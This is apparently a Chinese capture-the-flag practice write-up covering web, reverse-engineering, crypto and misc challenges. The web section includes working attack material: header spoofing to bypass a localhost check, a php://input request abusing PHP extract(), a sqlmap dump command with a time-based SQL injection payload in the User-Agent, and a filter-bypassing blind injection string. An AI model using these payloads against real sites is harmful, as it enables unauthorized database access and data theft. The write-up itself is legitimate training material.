NBCTF Pre-training WP

0x00 前言

预赛前练习题

0x01 Web

0x0101 签到~

f12 找 response header 得到Flag

0x0201 Myself~

必须在小红自己的电脑上访问哦,答案格式:flag{xxx}。
链接地址:192.144.182.32:25001

加两个请求头

1
2
X-Forwarded-For: 127.0.0.1
Referer: 127.0.0.1

0x0301 php是…~

PHP是世界上最美的语言,答案格式:flag{xxx}。
链接地址:192.144.182.32:25002

页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include 'flag.php';
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
else
{
highlight_file(__FILE__);
}
?>

当$ac===trim(file_get_contents($fn))的时候出flag
构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?ac=1&fn=php://input HTTP/1.1
Host: 192.144.182.32:25002
Content-Length: 1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.144.182.32:25002
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.144.182.32:25002/?fn=php://input&ac=1
Accept-Encoding: gzip, deflate
Accept-Language: zh,en;q=0.9
Cookie: PHPSESSID=tup9trb08g6thh89na0tk3aec6
Connection: close

1

0x0401 Vulnerabilities~

No Vulnerabilities,答案格式:flag{xxx}。
链接地址:192.144.182.32:25005

扫地址得login.php

注入点在UA
sqlmap一跑就行

1
sqlmap -r r.txt --dbms=mysql --level=3 --dump -T user_agents -D web
1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' AND (SELECT 2046 FROM (SELECT(SLEEP(1)))Avlh)-- -

ps:扫出来的.git没用,题目也很坑,注入点也没提示

0x0501 注入吧~

注入吧,答案格式:flag{xxx}。
链接地址:192.144.182.32:20007/

同事做的,注入绕过题,有个flag表flag字段,还有内容,但答案却是库名,不知道出题人怎么想的

1
?id=1/**/and/**/binary/**/substr(database(),§1§,1)/**/in/**/('§a§');

0x02 Reverse

0x0102 re1

直接搜索字符串

cyberchef from hex

0x0202 MessageBox~

本题要求输入key字符串,正确弹出MessageBox,错误的key则不会弹出MessageBox,请找到正确的Key。Flag格式:flag{xx}

没做出来。。。

0x0302 Game

Play the game!

参考

0x0402 re2

简单的逆向
hint:逆向出exe中包含的字符,输入后即可得到flag

搜索关键词得一堆flag

关键是v2 = a1[6] - 3;
正确的v2对应的就是正确的flag,往前翻找a1[6]

a1[6]=str[6]对应83,所以v2=80

提交发现不对,把里面的base64解了提交就正确了

0x03 Crypto

0x0103 散乱的密文

8fd4a@4c9@4gf15{50}l72d3
一张纸上写着凌乱的2 1 6 5 3 4

bugku题目变种,但flag没换,我们都以为题目写错了,结果一个同事想出了正确的解题步骤

类似这个,但竖着排,再进行6栏W型栅栏

0x0203 综合解密

答案格式:flag{xxxx}。
hint:最终flag字母小写
题目:
596d687162534268643252344948686b5a6e5967636a56355a79426b636d6432

26键键盘包围形式

bhjm -> n
awdx -> s
xdfv -> c
r5yg -> t
drgv -> f

0x0303 rsa1

查看公钥n

n就是Modulus

1
int(0xC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD)

转10进制后直接尝试暴力分解

写出私钥

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.PublicKey import RSA
import gmpy2

def main():
n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
e = 65537
priv = RSA.construct((n, e, int(gmpy2.invert(e, (p - 1) * (q - 1)))))
open('private.pem', 'w').write(str(priv.exportKey('PEM')))

main()

0x0403 rsa2

参考

0x0503 rsa3

参考

0x04 Misc

0x0104 剧情大反转~

没想到剧情会如此的反转,提交flag格式:flag{xxxx}。

文件末尾utf-8解码有16进制数据

倒转后得压缩包,伪加密
解压后得倒的flag图片

0x0204 五彩斑斓的青春~

五彩斑斓的青春如此美好。提交flag格式:flag{xxxx}。

把RGB数值中负数去除,合起来,from hex

0x0304 流量分析~

请分析该该数据包。提交flag格式:flag{xxxx}。

找半天数据包内容

找到这个请求,提取,解压

6个txt合并,复制到010保存文件,得flag二维码

ps:先合并txt再复制到010,一个一个复制到010粘贴为hex会出问题,不知道为什么

0x0404 misc1-bwm

简单的misc

脚本

1
python bwm.py decode 原图.png 有盲水印的图.png 解出来的水印.png

0x0504 misc2-weight

简单的Misc2

pngcheck或者010打开均可发现报错

爆破高度

1
2
3
4
5
6
7
8
9
10
11
12
import os
import binascii
import struct


misc = open("misc2-weight.png","rb").read()

for i in range(1024):
data = misc[12:16] + struct.pack('>i',i)+ misc[20:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0xe4e6e828:
print i

改好高度,再修复一处头,得flag二维码图

0x0604 misc3

RT,超简单的图片隐写

依然是key.jpg底部hex复制反向保存为文件

得key图片

再一个一个工具试过去。。。

1
steghide.exe extract -sf flags.jpg